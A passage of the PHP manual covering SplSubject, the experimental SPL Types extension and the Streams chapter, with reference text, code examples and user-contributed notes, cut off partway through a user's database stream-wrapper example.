new ConcreteObserver($observable);
przemyslaw dot szpiler at gmail dot com 27-Feb-2012 06:54
<?php

// Example implementation of Observer design pattern:

class MyObserver1 implements SplObserver {
    public function update(SplSubject $subject) {
        echo __CLASS__ . ' - ' . $subject->getName();
    }
}

class MyObserver2 implements SplObserver {
    public function update(SplSubject $subject) {
        echo __CLASS__ . ' - ' . $subject->getName();
    }
}

class MySubject implements SplSubject {
    private $_observers;
    private $_name;

    public function __construct($name) {
        $this->_observers = new SplObjectStorage();
        $this->_name = $name;
    }

    public function attach(SplObserver $observer) {
        $this->_observers->attach($observer);
    }

    public function detach(SplObserver $observer) {
        $this->_observers->detach($observer);
    }

    public function notify() {
        foreach ($this->_observers as $observer) {
            $observer->update($this);
        }
    }

    public function getName() {
        return $this->_name;
    }
}

$observer1 = new MyObserver1();
$observer2 = new MyObserver2();

$subject = new MySubject("test");

$subject->attach($observer1);
$subject->attach($observer2);
$subject->notify();

/*
will output:

MyObserver1 - test
MyObserver2 - test
*/

$subject->detach($observer2);
$subject->notify();

/*
will output:

MyObserver1 - test
*/

?>


Attach an SplObserver

  • « SplSubject
  • SplSubject::detach »
  • PHP Manual
  • SplSubject
  • Attach an SplObserver

SplSubject::attach

(PHP 5 >= 5.1.0)

SplSubject::attach — Attach an SplObserver

Description

abstract public void SplSubject::attach ( SplObserver $observer )

Attaches an SplObserver so that it can be notified of updates.

Warning

This function is currently not documented; only its argument list is available.

Parameters

observer

The SplObserver to attach.

Return Values

No value is returned.

User Contributed Notes

workspace dot development at yahoo dot com 02-Dec-2011 05:46
i think that Observer pattern is always implemented as "static" to be called from any scope, for example:
<?php
class Observer {
     //attach here the caller's scope
     private static $stackTrace = array( );
     public static function wasTriggeredOnce() {
          //...if is not in the stack, then:
          self::$stackTrace[] = max( debug_backtrace( ) );
     }
}

class YourFramework {

     public function launchPlatform() {

          //could not let user to launch application twice!
          Observer::wasTriggeredOnce();
     }
}
//cause is static
Observer::hereIsnoNeedToInstantiateAgain();
?>
goran 17-Oct-2011 09:54
The most obvious storage type for observers (stored in attach()) is array. In order to be able to detach attached objects, you should be able to identify it inside observer storage.

I suggest you attach observers this way:

$this->_observers[spl_object_hash($observer)] = $observer;

so you can detach it later if you need:

unset($this->_observers[spl_object_hash($observer)]);


Detach an observer

  • « SplSubject::attach
  • SplSubject::notify »
  • PHP Manual
  • SplSubject
  • Detach an observer

SplSubject::detach

(PHP 5 >= 5.1.0)

SplSubject::detach — Detach an observer

Description

abstract public void SplSubject::detach ( SplObserver $observer )

Detaches an observer from the subject to no longer notify it of updates.

Warning

This function is currently not documented; only its argument list is available.

Parameters

observer

The SplObserver to detach.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Notify an observer

  • « SplSubject::detach
  • SPL Types »
  • PHP Manual
  • SplSubject
  • Notify an observer

SplSubject::notify

(PHP 5 >= 5.1.0)

SplSubject::notify — Notify an observer

Description

abstract public void SplSubject::notify ( void )

Notifies all attached observers.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


SPL Type Handling

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • SplType — The SplType class
    • SplType::__construct — Creates a new value of some type
  • SplInt — The SplInt class
  • SplFloat — The SplFloat class
  • SplEnum — The SplEnum class
    • SplEnum::getConstList — Returns all consts (possible values) as an array.
  • SplBool — The SplBool class
  • SplString — The SplString class

User Contributed Notes

vpassapera at gmail dot com 16-Oct-2014 07:07
Currently SPLTypes do not support adding properties to any classes extending them.

A segmentation fault will be thrown.


Introduction

This extension aims at helping people making PHP a stronger typed language and can be a good alternative to scalar type hinting. It provides different typehandling classes as such as integer, float, bool, enum and string

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

User Contributed Notes

Tom 28-Oct-2009 05:34
For your information, here is another work-around for this issue, that even works with PHP4 (in case you need to be compatible):

<?php
/**
 * @param string $foo
 */
function foo($foo)
{
  assert('is_string($foo); // Invalid argument type');
  // do some foo
}
?>

This single-line of code should fix it for most people. It will throw an error whenever the expression evaluates to false (if $foo is not a string).

Most errors concerning scalar types are found during development or unit-testing. PHPUnit is fine with these and reports failed assertions as failed tests, also presenting the included message.
Note that assertions need to be turned on for this to work. See the manual page on assertions for more details.
Note that you may deactivate the checks on the target machine, so this comes without any performance penalty. So don't hesitate to make extensive use of this PHP-feature.

Note though: DON'T RELY ON ASSERTIONS FOR CHECKING USER INPUT!

In that case you may want to try this code:
is_string($foo) || trigger_error('String expected', E_USER_ERROR);

Or: simply throw an exception (as usual).
tom 28-Oct-2009 05:09
For backwards compatibility issues:
We do know that auto-unboxing works for strings, thanks to the __toString() magic function. Auto-unboxing for other scalar types may be tricky but possible, by using the same function with another return type (which of cause has some limitations).

However auto-boxing is a real challenge.
If you can provide any details, I would appreciate that.

For auto-unboxing see this code-fragment:

<?php
class MyString {
  private $value = "";
  public function __construct($string) {
    if (!is_string($string)) {
      throw new InvalidArgumentException();
    }
    $this->value = $string;
  }
  public function __toString() {
    return $this->value;
  }
}
?>

For other scalar types, all that changes is the constructor function. Anything else remains unchanged. (While you are at it, you may want to add some type conversion functions for your personal convenience.)

HowTo:

<?php
function foo(MyString $string)
{
  print "$string"; // auto-unboxing in action
}

// prints "Hello World!"
foo(new MyString("Hello World!"));
?>


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/SPL_Types.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

symfonist at gmail dot com 09-Dec-2013 06:24
You should install dev version of libpcre3:

sudo apt-get install libpcre3-dev.

Make sure php5-dev is installed.

sudo apt-get install php5-dev
Jayesh Wadhwani 05-Sep-2013 12:50
I did run into one problem while installing this extension on 5.5.3, Ubuntu 12.04, and that was the missing libpcre3. Once I installed the lib the install went fine.

sudo apt-get install libpcre3

sudo pecl install SPL_Types


The SplType class

(PECL spl_types >= 0.1.0)

Introduction

Parent class for all SPL types.

Class synopsis

abstract SplType {
/* Constants */
const NULL __default = null ;
/* Methods */
__construct ([ mixed $initial_value [, bool $strict ]] )
}

Predefined Constants

SplType::__default

Table of Contents

  • SplType::__construct — Creates a new value of some type

User Contributed Notes

There are no user contributed notes for this page.


Creates a new value of some type

  • « SplType
  • SplInt »
  • PHP Manual
  • SplType
  • Creates a new value of some type

SplType::__construct

(PECL spl_types >= 0.1.0)

SplType::__construct — Creates a new value of some type

Description

SplType::__construct ([ mixed $initial_value [, bool $strict ]] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

initial_value

Type and default value depends on the extension class.

strict

Whether to set the object's sctrictness.

Errors/Exceptions

Throws an UnexpectedValueException if incompatible type is given.

User Contributed Notes

There are no user contributed notes for this page.


The SplInt class

(PECL spl_types >= 0.1.0)

Introduction

The SplInt class is used to enforce strong typing of the integer type.

Class synopsis

SplInt extends SplType {
/* Constants */
const integer __default = 0 ;
/* Inherited methods */
SplType::__construct ([ mixed $initial_value [, bool $strict ]] )
}

Predefined Constants

SplInt::__default

Examples

Example #1 SplInt usage example

<?php
$int = new SplInt(94);

try {
    $int = 'Try to cast a string value for fun';
} catch (UnexpectedValueException $uve) {
    echo $uve->getMessage() . PHP_EOL;
}

echo $int . PHP_EOL;
?>

The above example will output:

Value not an integer
94

User Contributed Notes

There are no user contributed notes for this page.


The SplFloat class

(PECL spl_types >= 0.1.0)

Introduction

The SplFloat class is used to enforce strong typing of the float type.

Class synopsis

SplFloat extends SplType {
/* Constants */
const float __default = 0 ;
/* Inherited methods */
SplType::__construct ([ mixed $initial_value [, bool $strict ]] )
}

Predefined Constants

SplFloat::__default

Examples

Example #1 SplFloat usage example

<?php
$float = new SplFloat(3.154);
$newFloat = new SplFloat(3);

try {
    $float = 'Try to cast a string value for fun';
} catch (UnexpectedValueException $uve) {
    echo $uve->getMessage() . PHP_EOL;
}

echo $float . PHP_EOL;
echo $newFloat . PHP_EOL;
?>

The above example will output:

Value not a float
3.154
3

User Contributed Notes

There are no user contributed notes for this page.


The SplEnum class

(PECL spl_types >= 0.1.0)

Introduction

SplEnum gives the ability to emulate and create enumeration objects natively in PHP.

Class synopsis

SplEnum extends SplType {
/* Constants */
const NULL __default = null ;
/* Methods */
public array getConstList ([ bool $include_default = false ] )
/* Inherited methods */
SplType::__construct ([ mixed $initial_value [, bool $strict ]] )
}

Predefined Constants

SplEnum::__default

Examples

Example #1 SplEnum usage example

<?php
class Month extends SplEnum {
    const __default = self::January;

    const January = 1;
    const February = 2;
    const March = 3;
    const April = 4;
    const May = 5;
    const June = 6;
    const July = 7;
    const August = 8;
    const September = 9;
    const October = 10;
    const November = 11;
    const December = 12;
}

echo new Month(Month::June) . PHP_EOL;

try {
    new Month(13);
} catch (UnexpectedValueException $uve) {
    echo $uve->getMessage() . PHP_EOL;
}
?>

The above example will output:

6
Value not a const in enum Month

Table of Contents

  • SplEnum::getConstList — Returns all consts (possible values) as an array.

User Contributed Notes

No Such Alias 30-Jul-2010 06:11
Here's a clearer example usage in case anyone else finds the
current documentation confusing (as I did).

<?php
class Fruit extends SplEnum
{
  // If no value is given during object construction this value is used
  const __default = 1;
  // Our enum values
  const APPLE     = 1;
  const ORANGE    = 2;
}

$myApple   = new Fruit();
$myOrange  = new Fruit(Fruit::ORANGE);
$fail      = 1;

function eat(Fruit $aFruit)
{
  if (Fruit::APPLE == $aFruit) {
    echo "Eating an apple.\n";
  } elseif (Fruit::ORANGE == $aFruit) {
    echo "Eating an orange.\n";
  }
}

eat($myApple);  // Eating an apple.
eat($myOrange); // Eating an orange.

eat($fail); // PHP Catchable fatal error:  Argument 1 passed to eat() must be an instance of Fruit, integer given

?>


Returns all consts (possible values) as an array.

  • « SplEnum
  • SplBool »
  • PHP Manual
  • SplEnum
  • Returns all consts (possible values) as an array.

SplEnum::getConstList

(PECL spl_types >= 0.1.0)

SplEnum::getConstList — Returns all consts (possible values) as an array.

Description

public array SplEnum::getConstList ([ bool $include_default = false ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

include_default

Whether to include __default property.

Return Values

Examples

Example #1 SplEnum::getConstList() example

<?php
$bool = new SplBool;
var_dump($bool->getConstList(true));
?>

The above example will output:

array(3) {
  ["__default"]=>
  bool(false)
  ["false"]=>
  bool(false)
  ["true"]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


The SplBool class

(PECL spl_types >= 0.1.0)

Introduction

The SplBool class is used to enforce strong typing of the bool type.

Class synopsis

SplBool extends SplEnum {
/* Constants */
const boolean __default = false ;
const boolean false = false ;
const boolean true = true ;
/* Inherited methods */
public array SplEnum::getConstList ([ bool $include_default = false ] )
}

Predefined Constants

SplBool::__default

SplBool::false

SplBool::true

Examples

Example #1 SplBool usage example

<?php
$true = new SplBool(true);
if ($true) {
    echo "TRUE\n";
}

$false = new SplBool;
if ($false) {
    echo "FALSE\n";
}
?>

The above example will output:

TRUE

User Contributed Notes

There are no user contributed notes for this page.


The SplString class

(PECL spl_types >= 0.1.0)

Introduction

The SplString class is used to enforce strong typing of the string type.

Class synopsis

SplString extends SplType {
/* Constants */
const integer __default = 0 ;
/* Inherited methods */
SplType::__construct ([ mixed $initial_value [, bool $strict ]] )
}

Predefined Constants

SplString::__default

Examples

Example #1 SplString usage example

<?php
$string = new SplString("Testing");

try {
    $string = array();
} catch (UnexpectedValueException $uve) {
    echo $uve->getMessage() . PHP_EOL;
}

var_dump($string);
echo $string; // Outputs "Testing"
?>

The above example will output:

Value not a string
object(SplString)#1 (1) {
  ["__default"]=>
  string(7) "Testing"
}
Testing

User Contributed Notes

There are no user contributed notes for this page.


Streams

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Stream Classes
  • Predefined Constants
  • Stream Filters
  • Stream Contexts
  • Stream Errors
  • Examples
    • Example class registered as stream wrapper
  • php_user_filter — The php_user_filter class
    • php_user_filter::filter — Called when applying the filter
    • php_user_filter::onClose — Called when closing the filter
    • php_user_filter::onCreate — Called when creating the filter
  • streamWrapper — The streamWrapper class
    • streamWrapper::__construct — Constructs a new stream wrapper
    • streamWrapper::__destruct — Destructs an existing stream wrapper
    • streamWrapper::dir_closedir — Close directory handle
    • streamWrapper::dir_opendir — Open directory handle
    • streamWrapper::dir_readdir — Read entry from directory handle
    • streamWrapper::dir_rewinddir — Rewind directory handle
    • streamWrapper::mkdir — Create a directory
    • streamWrapper::rename — Renames a file or directory
    • streamWrapper::rmdir — Removes a directory
    • streamWrapper::stream_cast — Retrieve the underlaying resource
    • streamWrapper::stream_close — Close an resource
    • streamWrapper::stream_eof — Tests for end-of-file on a file pointer
    • streamWrapper::stream_flush — Flushes the output
    • streamWrapper::stream_lock — Advisory file locking
    • streamWrapper::stream_metadata — Change stream options
    • streamWrapper::stream_open — Opens file or URL
    • streamWrapper::stream_read — Read from stream
    • streamWrapper::stream_seek — Seeks to specific location in a stream
    • streamWrapper::stream_set_option — Change stream options
    • streamWrapper::stream_stat — Retrieve information about a file resource
    • streamWrapper::stream_tell — Retrieve the current position of a stream
    • streamWrapper::stream_truncate — Truncate stream
    • streamWrapper::stream_write — Write to stream
    • streamWrapper::unlink — Delete a file
    • streamWrapper::url_stat — Retrieve information about a file
  • Stream Functions
    • set_socket_blocking — Alias of stream_set_blocking
    • stream_bucket_append — Append bucket to brigade
    • stream_bucket_make_writeable — Return a bucket object from the brigade for operating on
    • stream_bucket_new — Create a new bucket for use on the current stream
    • stream_bucket_prepend — Prepend bucket to brigade
    • stream_context_create — Creates a stream context
    • stream_context_get_default — Retrieve the default stream context
    • stream_context_get_options — Retrieve options for a stream/wrapper/context
    • stream_context_get_params — Retrieves parameters from a context
    • stream_context_set_default — Set the default stream context
    • stream_context_set_option — Sets an option for a stream/wrapper/context
    • stream_context_set_params — Set parameters for a stream/wrapper/context
    • stream_copy_to_stream — Copies data from one stream to another
    • stream_encoding — Set character set for stream encoding
    • stream_filter_append — Attach a filter to a stream
    • stream_filter_prepend — Attach a filter to a stream
    • stream_filter_register — Register a user defined stream filter
    • stream_filter_remove — Remove a filter from a stream
    • stream_get_contents — Reads remainder of a stream into a string
    • stream_get_filters — Retrieve list of registered filters
    • stream_get_line — Gets line from stream resource up to a given delimiter
    • stream_get_meta_data — Retrieves header/meta data from streams/file pointers
    • stream_get_transports — Retrieve list of registered socket transports
    • stream_get_wrappers — Retrieve list of registered streams
    • stream_is_local — Checks if a stream is a local stream
    • stream_notification_callback — A callback function for the notification context parameter
    • stream_register_wrapper — Alias of stream_wrapper_register
    • stream_resolve_include_path — Resolve filename against the include path
    • stream_select — Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec
    • stream_set_blocking — Set blocking/non-blocking mode on a stream
    • stream_set_chunk_size — Set the stream chunk size
    • stream_set_read_buffer — Set read file buffering on the given stream
    • stream_set_timeout — Set timeout period on a stream
    • stream_set_write_buffer — Sets write file buffering on the given stream
    • stream_socket_accept — Accept a connection on a socket created by stream_socket_server
    • stream_socket_client — Open Internet or Unix domain socket connection
    • stream_socket_enable_crypto — Turns encryption on/off on an already connected socket
    • stream_socket_get_name — Retrieve the name of the local or remote sockets
    • stream_socket_pair — Creates a pair of connected, indistinguishable socket streams
    • stream_socket_recvfrom — Receives data from a socket, connected or not
    • stream_socket_sendto — Sends a message to a socket, whether it is connected or not
    • stream_socket_server — Create an Internet or Unix domain server socket
    • stream_socket_shutdown — Shutdown a full-duplex connection
    • stream_supports_lock — Tells whether the stream supports locking.
    • stream_wrapper_register — Register a URL wrapper implemented as a PHP class
    • stream_wrapper_restore — Restores a previously unregistered built-in wrapper
    • stream_wrapper_unregister — Unregister a URL wrapper

User Contributed Notes

sjon at react dot nl 21-Jan-2011 02:39
warning, you cannot use streams if open_basedir is set. Any (custom) StreamWrapper will always throw a "Operation not permitted" warning


Introduction

Streams were introduced with PHP 4.3.0 as a way of generalizing file, network, data compression, and other operations which share a common set of functions and uses. In its simplest definition, a stream is a resource object which exhibits streamable behavior. That is, it can be read from or written to in a linear fashion, and may be able to fseek() to an arbitrary locations within the stream.

A wrapper is additional code which tells the stream how to handle specific protocols/encodings. For example, the http wrapper knows how to translate a URL into an HTTP/1.0 request for a file on a remote server. There are many wrappers built into PHP by default (See Supported Protocols and Wrappers), and additional, custom wrappers may be added either within a PHP script using stream_wrapper_register(), or directly from an extension using the API Reference in Working with streams. Because any variety of wrapper may be added to PHP, there is no set limit on what can be done with them. To access the list of currently registered wrappers, use stream_get_wrappers().

A stream is referenced as: scheme://target

  • scheme(string) - The name of the wrapper to be used. Examples include: file, http, https, ftp, ftps, compress.zlib, compress.bz2, and php. See Supported Protocols and Wrappers for a list of PHP built-in wrappers. If no wrapper is specified, the function default is used (typically file://).
  • target - Depends on the wrapper used. For filesystem related streams this is typically a path and filename of the desired file. For network related streams this is typically a hostname, often with a path appended. Again, see Supported Protocols and Wrappers for a description of targets for built-in streams.

Note:

Information on using streams within the PHP source code can be found in the Streams API for PHP Extension Authors reference.

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Stream Classes

User Contributed Notes

MetaYii 29-Sep-2012 06:57
Avoid using the --with-curlwrappers (EXPERIMENTAL: Use cURL for url streams) when configuring PHP (tested with 5.4.x) if you need to use functions like mkdir or is_dir with streams like ftp:// because the calls will fail without error or warning.


Installation

Streams are an integral part of PHP as of version 4.3.0. No steps are required to enable them.

User Contributed Notes

There are no user contributed notes for this page.


Stream Classes

User designed wrappers can be registered via stream_wrapper_register(), using the class definition shown on that manual page.

Class php_user_filter is predefined and is an abstract baseclass for use with user defined filters. See the manual page for stream_filter_register() for details on implementing user defined filters.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Constant | Description
STREAM_FILTER_READ * | Used with stream_filter_append() and stream_filter_prepend() to indicate that the specified filter should only be applied when reading
STREAM_FILTER_WRITE * | Used with stream_filter_append() and stream_filter_prepend() to indicate that the specified filter should only be applied when writing
STREAM_FILTER_ALL * | This constant is equivalent to STREAM_FILTER_READ | STREAM_FILTER_WRITE
PSFS_PASS_ON * | Return Code indicating that the userspace filter returned buckets in $out.
PSFS_FEED_ME * | Return Code indicating that the userspace filter did not return buckets in $out (i.e. No data available).
PSFS_ERR_FATAL * | Return Code indicating that the userspace filter encountered an unrecoverable error (i.e. Invalid data received).
PSFS_FLAG_NORMAL | Regular read/write.
PSFS_FLAG_FLUSH_INC | An incremental flush.
PSFS_FLAG_FLUSH_CLOSE | Final flush prior to closing.
STREAM_USE_PATH | Flag indicating if the stream used the include path.
STREAM_REPORT_ERRORS | Flag indicating if the wrapper is responsible for raising errors using trigger_error() during opening of the stream. If this flag is not set, you should not raise any errors.
STREAM_CLIENT_ASYNC_CONNECT * | Open client socket asynchronously. This option must be used together with the STREAM_CLIENT_CONNECT flag. Used with stream_socket_client().
STREAM_CLIENT_CONNECT * | Open client socket connection. Client sockets should always include this flag. Used with stream_socket_client().
STREAM_CLIENT_PERSISTENT * | Client socket opened with stream_socket_client() should remain persistent between page loads.
STREAM_SERVER_BIND * | Tells a stream created with stream_socket_server() to bind to the specified target. Server sockets should always include this flag.
STREAM_SERVER_LISTEN * | Tells a stream created with stream_socket_server() and bound using the STREAM_SERVER_BIND flag to start listening on the socket. Connection-orientated transports (such as TCP) must use this flag, otherwise the server socket will not be enabled. Using this flag for connect-less transports (such as UDP) is an error.
STREAM_NOTIFY_RESOLVE * | A remote address required for this stream has been resolved, or the resolution failed. See severity for an indication of which happened.
STREAM_NOTIFY_CONNECT | A connection with an external resource has been established.
STREAM_NOTIFY_AUTH_REQUIRED | Additional authorization is required to access the specified resource. Typical issued with severity level of STREAM_NOTIFY_SEVERITY_ERR.
STREAM_NOTIFY_MIME_TYPE_IS | The mime-type of resource has been identified, refer to message for a description of the discovered type.
STREAM_NOTIFY_FILE_SIZE_IS | The size of the resource has been discovered.
STREAM_NOTIFY_REDIRECTED | The external resource has redirected the stream to an alternate location. Refer to message.
STREAM_NOTIFY_PROGRESS | Indicates current progress of the stream transfer in bytes_transferred and possibly bytes_max as well.
STREAM_NOTIFY_COMPLETED * | There is no more data available on the stream.
STREAM_NOTIFY_FAILURE | A generic error occurred on the stream, consult message and message_code for details.
STREAM_NOTIFY_AUTH_RESULT | Authorization has been completed (with or without success).
STREAM_NOTIFY_SEVERITY_INFO | Normal, non-error related, notification.
STREAM_NOTIFY_SEVERITY_WARN | Non critical error condition. Processing may continue.
STREAM_NOTIFY_SEVERITY_ERR | A critical error occurred. Processing cannot continue.
STREAM_IPPROTO_ICMP + | Provides a ICMP socket.
STREAM_IPPROTO_IP + | Provides a IP socket.
STREAM_IPPROTO_RAW + | Provides a RAW socket.
STREAM_IPPROTO_TCP + | Provides a TCP socket.
STREAM_IPPROTO_UDP + | Provides a UDP socket.
STREAM_PF_INET + | Internet Protocol Version 4 (IPv4).
STREAM_PF_INET6 + | Internet Protocol Version 6 (IPv6).
STREAM_PF_UNIX + | Unix system internal protocols.
STREAM_SOCK_DGRAM + | Provides datagrams, which are connectionless messages (UDP, for example).
STREAM_SOCK_RAW + | Provides a raw socket, which provides access to internal network protocols and interfaces. Usually this type of socket is just available to the root user.
STREAM_SOCK_RDM + | Provides a RDM (Reliably-delivered messages) socket.
STREAM_SOCK_SEQPACKET + | Provides a sequenced packet stream socket.
STREAM_SOCK_STREAM + | Provides sequenced, two-way byte streams with a transmission mechanism for out-of-band data (TCP, for example).
STREAM_SHUT_RD | Used with stream_socket_shutdown() to disable further receptions. Added in PHP 5.2.1.
STREAM_SHUT_WR | Used with stream_socket_shutdown() to disable further transmissions. Added in PHP 5.2.1.
STREAM_SHUT_RDWR | Used with stream_socket_shutdown() to disable further receptions and transmissions. Added in PHP 5.2.1.
STREAM_CAST_FOR_SELECT | Stream casting, for when stream_select() is calling stream_cast().
STREAM_CAST_AS_STREAM | Stream casting, when stream_cast() is called otherwise (see above).
STREAM_META_TOUCH | Used with stream_metadata(), to specify touch() call.
STREAM_META_OWNER | Used with stream_metadata(), to specify chown() call.
STREAM_META_OWNER_NAME | Used with stream_metadata(), to specify chown() call.
STREAM_META_GROUP | Used with stream_metadata(), to specify chgrp() call.
STREAM_META_GROUP_NAME | Used with stream_metadata(), to specify chgrp() call.
STREAM_META_ACCESS | Used with stream_metadata(), to specify chmod() call.

Note: The constants marked with * are just available since PHP 5.0.0.

Note: The constants marked with + are available since PHP 5.1.0 and are meant to be used with stream_socket_pair(). Please note that some of these constants might not be available in your system.

Note: The STREAM_META_* constants are available since PHP 5.4.0 and are meant to be used with stream_metadata().

User Contributed Notes

There are no user contributed notes for this page.


Stream Filters

A filter is a final piece of code which may perform operations on data as it is being read from or written to a stream. Any number of filters may be stacked onto a stream. Custom filters can be defined in a PHP script using stream_filter_register() or in an extension using the API Reference in Working with streams. To access the list of currently registered filters, use stream_get_filters().

User Contributed Notes

There are no user contributed notes for this page.


Stream Contexts

A context is a set of parameters and wrapper specific options which modify or enhance the behavior of a stream. Contexts are created using stream_context_create() and can be passed to most filesystem related stream creation functions (i.e. fopen(), file(), file_get_contents(), etc...).

Options can be specified when calling stream_context_create(), or later using stream_context_set_option(). A list of wrapper specific options can be found in the Context options and parameters chapter.

Parameters can be specified for contexts using the stream_context_set_params() function.

User Contributed Notes

There are no user contributed notes for this page.


Stream Errors

As with any file or socket related function, an operation on a stream may fail for a variety of normal reasons (i.e.: Unable to connect to remote host, file not found, etc...). A stream related call may also fail because the desired stream is not registered on the running system. See the array returned by stream_get_wrappers() for a list of streams supported by your installation of PHP. As with most PHP internal functions if a failure occurs an E_WARNING message will be generated describing the nature of the error.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • Example class registered as stream wrapper

Example #1 Using file_get_contents() to retrieve data from multiple sources

<?php
/* Read local file from /home/bar */
$localfile = file_get_contents("/home/bar/foo.txt");

/* Identical to above, explicitly naming FILE scheme */
$localfile = file_get_contents("file:///home/bar/foo.txt");

/* Read remote file from www.example.com using HTTP */
$httpfile  = file_get_contents("http://www.example.com/foo.txt");

/* Read remote file from www.example.com using HTTPS */
$httpsfile = file_get_contents("https://www.example.com/foo.txt");

/* Read remote file from ftp.example.com using FTP */
$ftpfile   = file_get_contents("ftp://user:pass@ftp.example.com/foo.txt");

/* Read remote file from ftp.example.com using FTPS */
$ftpsfile  = file_get_contents("ftps://user:pass@ftp.example.com/foo.txt");
?>

Example #2 Making a POST request to an https server

<?php
/* Send POST request to https://secure.example.com/form_action.php
* Include form elements named "foo" and "bar" with dummy values
*/

$sock = fsockopen("ssl://secure.example.com", 443, $errno, $errstr, 30);
if (!$sock) die("$errstr ($errno)\n");

$data = "foo=" . urlencode("Value for Foo") . "&bar=" . urlencode("Value for Bar");

fwrite($sock, "POST /form_action.php HTTP/1.0\r\n");
fwrite($sock, "Host: secure.example.com\r\n");
fwrite($sock, "Content-type: application/x-www-form-urlencoded\r\n");
fwrite($sock, "Content-length: " . strlen($data) . "\r\n");
fwrite($sock, "Accept: */*\r\n");
fwrite($sock, "\r\n");
fwrite($sock, $data);

$headers = "";
while ($str = trim(fgets($sock, 4096)))
$headers .= "$str\n";

echo "\n";

$body = "";
while (!feof($sock))
$body .= fgets($sock, 4096);

fclose($sock);
?>

Example #3 Writing data to a compressed file

<?php
/* Create a compressed file containing an arbitrarty string
* File can be read back using compress.zlib stream or just
* decompressed from the command line using 'gzip -d foo-bar.txt.gz'
*/
$fp = fopen("compress.zlib://foo-bar.txt.gz", "wb");
if (!$fp) die("Unable to create file.");

fwrite($fp, "This is a test.\n");

fclose($fp);
?>

User Contributed Notes

There are no user contributed notes for this page.


Example class registered as stream wrapper

The example below implements a var:// protocol handler that allows read/write access to a named global variable using standard filesystem stream functions such as fread(). The var:// protocol implemented below, given the URL "var://foo" will read/write data to/from $GLOBALS["foo"].

Example #1 A Stream for reading/writing global variables

<?php

class VariableStream {
    var $position;
    var $varname;

    function stream_open($path, $mode, $options, &$opened_path)
    {
        $url = parse_url($path);
        $this->varname = $url["host"];
        $this->position = 0;

        return true;
    }

    function stream_read($count)
    {
        $ret = substr($GLOBALS[$this->varname], $this->position, $count);
        $this->position += strlen($ret);
        return $ret;
    }

    function stream_write($data)
    {
        $left = substr($GLOBALS[$this->varname], 0, $this->position);
        $right = substr($GLOBALS[$this->varname], $this->position + strlen($data));
        $GLOBALS[$this->varname] = $left . $data . $right;
        $this->position += strlen($data);
        return strlen($data);
    }

    function stream_tell()
    {
        return $this->position;
    }

    function stream_eof()
    {
        return $this->position >= strlen($GLOBALS[$this->varname]);
    }

    function stream_seek($offset, $whence)
    {
        switch ($whence) {
            case SEEK_SET:
                if ($offset < strlen($GLOBALS[$this->varname]) && $offset >= 0) {
                     $this->position = $offset;
                     return true;
                } else {
                     return false;
                }
                break;

            case SEEK_CUR:
                if ($offset >= 0) {
                     $this->position += $offset;
                     return true;
                } else {
                     return false;
                }
                break;

            case SEEK_END:
                if (strlen($GLOBALS[$this->varname]) + $offset >= 0) {
                     $this->position = strlen($GLOBALS[$this->varname]) + $offset;
                     return true;
                } else {
                     return false;
                }
                break;

            default:
                return false;
        }
    }

    function stream_metadata($path, $option, $var)
    {
        if($option == STREAM_META_TOUCH) {
            $url = parse_url($path);
            $varname = $url["host"];
            if(!isset($GLOBALS[$varname])) {
                $GLOBALS[$varname] = '';
            }
            return true;
        }
        return false;
    }
}

stream_wrapper_register("var", "VariableStream")
    or die("Failed to register protocol");

$myvar = "";

$fp = fopen("var://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
    echo fgets($fp);
}
fclose($fp);
var_dump($myvar);

?>

The above example will output:

line1
line2
line3
string(18) "line1
line2
line3
"

User Contributed Notes

pfe dot skh at gmail dot com 08-Aug-2010 06:47
Example of stream used with databases :

Requirement :
A MySQL database with a table named data structured as follow :
CREATE TABLE IF NOT EXISTS `data` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `data` varchar(255) NOT NULL,
  `when_inserted` datetime NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;

Now with the stream implementation :

<?php

class DBStream {
    private $_pdo;
    private $_ps;
    private $_rowId = 0;

    function stream_open($path, $mode, $options, &$opath)
    {
        $url = parse_url($path);
        $url['path'] = substr($url['path'], 1);
        try{
            $this->_pdo = new PDO("mysql:host={$url['host']};dbname={$url['path']}", $url['user'], isset($url['pass'])? $url['pass'] : '', array());
        } catch(PDOException $e){ return false; }
        switch ($mode){
            case 'w' :
                $this->_ps = $this->_pdo->prepare('INSERT INTO data VALUES(null, ?, NOW())');
                break;
            case 'r' :
                $this->_ps = $this->_pdo->prepare('SELECT id, data FROM data WHERE id > ? LIMIT 1');
                break;
            default  : return false;
        }
        return true;
    }

    function stream_read()
    {
         $this->_ps->execute(array($this->_rowId));
         if($this->_ps->rowCount() == 0) return false;
         $this->_ps->bindcolumn(1, $this->_rowId);
         $this->_ps->bindcolumn(2, $ret);
         $this->_ps->fetch();
         return $ret;
    }

    function stream_write($data)
    {
        $this->_ps->execute(array($data));
        return strlen($data);
    }

    function stream_tell()
    {
        return $this->_rowId;
    }

    function stream_eof()
    {
        $this->_ps->execute(array($this->_rowId));
        return (bool) $this->_ps->rowCount();
